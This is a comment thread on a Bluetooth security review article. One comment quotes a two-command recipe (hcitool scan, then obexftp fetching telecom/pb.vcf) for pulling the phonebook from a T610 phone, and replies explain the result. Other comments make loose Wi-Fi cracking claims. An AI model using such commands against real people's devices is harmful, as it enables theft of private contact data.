Bluetooth Security Review, Part 1

Bluetooth Security Review, Part 1
Marek Bialoglowy

Bluetooth Security Review, Part 1 2006-11-09
c_ (2 replies)

re: "Only two standard commands are required to steal the Phonebook information from a T610 mobile phone:

# hcitool scan

Scanning .

00:0A:D9:15:0B:1C T610-phone

# obexftp -b 00:0A:D9:15:0B:1C --channel 10 -g telecom/pb.vcf -v

Browsing 00:0A:D9:15:0B:1C ...

Channel: 7

No custom transpor...

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Re: Bluetooth Security Review, Part 1 2008-03-15
Anonymous

the author used a bluetooth dongle and a laptop with bluetooth software installed.

the phonebook data was downloaded to the laptop.

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Re: Bluetooth Security Review, Part 1 2008-03-20
Anonymous

> 1. how would one use the command to retrieve info?

Presumably, there is a standard path/filename for the phonebook, "telecom/pb.vcf". One transferred, this file can be parsed by hand or with a tool, and it's probably using the vCard format (based on the .vcf extension). See here: http://en.wi...

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WiFi phones 2008-01-31
Anonymous (1 replies)

It sounds like getting a phone with WiFi is a better idea than one with bluetooth....

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Re: WiFi phones 2008-02-14
Anonymous

WIFI using WEP can be hacked within 30 seconds.

WIFI using WPA can be hacked within 5 minutes.

Maybe WPA2 improves WIFI enough for the moment, but mobile phones supporting WIFI mostly use the old fashioned technologies.

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Changing Bluetooth 2008-06-27
Anonymous

I've changed a phone, but I dont know how to change my bluetooth headset with it...

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